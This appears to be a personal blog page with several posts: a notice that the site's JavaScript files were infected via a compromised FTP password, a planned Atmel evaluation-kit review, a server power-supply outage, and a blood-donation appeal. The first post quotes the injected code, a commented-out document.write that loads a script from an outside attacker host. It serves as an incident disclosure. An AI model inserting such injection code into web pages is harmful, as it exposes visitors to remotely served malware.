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  • Beefgir has been hacked (sort of)

    Posted on by killernat Comment

    ANY one who has Accessed beefgir after march first scan your system for viruses

    here are some  links to good free antivirus/malware

    malwarebytes

    AVG

    comodo

    avast

     

    Don’t worry we still have control of the site but the java script files have been compromised up to 3 layers deep
    I have fixed all the js files that the homepages uses to be sure that it is still safe to use
    the forums do not use java script so they are safe
    I have taken down the gallery do to its heavy usage of java script until I can clean that up as well
    I have opened a ticket with the host so they can address the security hole

    what has happened was a compromised ftp password march 1 2014 @9:33 AM EST  an ftp bot ran through all the site (up to 3 levels deep and injected this:

    (note i commented the section out in case a browser trys to read it)

    /*

    /*19f955*/

    /*pcpc0978586pc09*/

    document.write(“<script type=’text/javascript’ src=’http://kleraostrada.com.br/brpH7TXR.php?id=’></”+ “script>”);

    /*/19f955*/

    */

    the site is safe as of now


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  • Upcomming review

    Posted on by killernat Comment

    I will be testing and  reviewing the Atmel  ATXMEGAB1-XPLD  evaluation kit in the next few weeks.

    I will be looking at how responsive the board itself is, how useable the IDE is and how it holds up  to extreme temperatures being in southern Canada  we get nice cold temperatures in the winter and up to 40ºC in the summer  😀

    If any one wants to check out the kit before I get my grubby hands on it, or take a look at some the other Stuff Atmel has take a look here: canada.newark.com/atmel


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  • Server Down time

    Posted on by killernat Comment

    the server will be down this afternoon for about 45 min to 1 hour starting at about 6pm EST

    The last few weeks I have been having server stability issues and kept seeing disk read errors in the logs I initially thought it was a failing hard drive which I then sourced to a faulty SATA cable but that wasn’t the only issue. Fortunately the hard drive is in good health and was working properly when I tested in my desktop but I still kept getting disk read errors I finally sourced it to the drives not getting enough current to run properly when I went to confirm this theory by checking the PSU voltage in the BIOS it was fluctuating between 4.8V and 5.01V so yeh the power supply is on its last leg. once I discovered that I removed all non essential components from the PSU and disabled 2 of the CPU cores which has kept the system running for the last 4 days   I have ordered a new one which came in today and will be replaced tonight.

     

    UPDATE:

    server has its new PSU and has happy voltages across the board and is much quieter than it was before

    UPDATE 2:

    I just realized i forgot to publish this last night DERP


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  • Save a life

    Posted on by killernat Comment

    its that time of the year where i annoy every one to go donate blood if there is any way you can give back to society give a pint (500ml) of blood it will probably save someones life there is even a benefit for you that every donation is screened for STD’s and STI’s so if you caught something they will tell you

    as of now i have 5 successful donations (as i do it at my college each semester)
    the process is easy you go do the registration then the basic screening (answer a few yes/no questions) then do the advanced screening with the nurse/volunteer take blood pressure, temperature, check your iron level (with a little prick on the finger) answer a few more questions with the nurse and you make your final (anonymous) decision if they should use your blood with a bar-code sticker after the nurse leaves the screening room this is to keep people safe because someone may be to embarrassed to admit to sleeping with a prostitute recently to the nurse and not want there blood used (it is still tested however)
    after they take you to the donation area and put you on a stretcher /bed thing they will find the blood vane for your arm mark it and clean the area with an antiseptic then tape down the tube (to your arm) and insert the needle they will collect a small amount for testing and the rest will go to the main bag after 5-15 minutes tou will be done you will have to hold a gauze pad for a few minutes and then they will take you to a recovery/observation area to make sure you feel ok (about 5-15 min) then you get all the cookies /juice/ coffee you want then you can be on your way but be forewarned take it easy for the next 12 hours as you will be short of breath easily due to the low blood level not to mention getting the munchies (you got to replace that lost protean and iron some how)

    US:Red Cross
    canada:Blood Services Canada
    quebec: Hema Quebec

    as for the rest of the world im sure there are simaler organizations (google is your friend)


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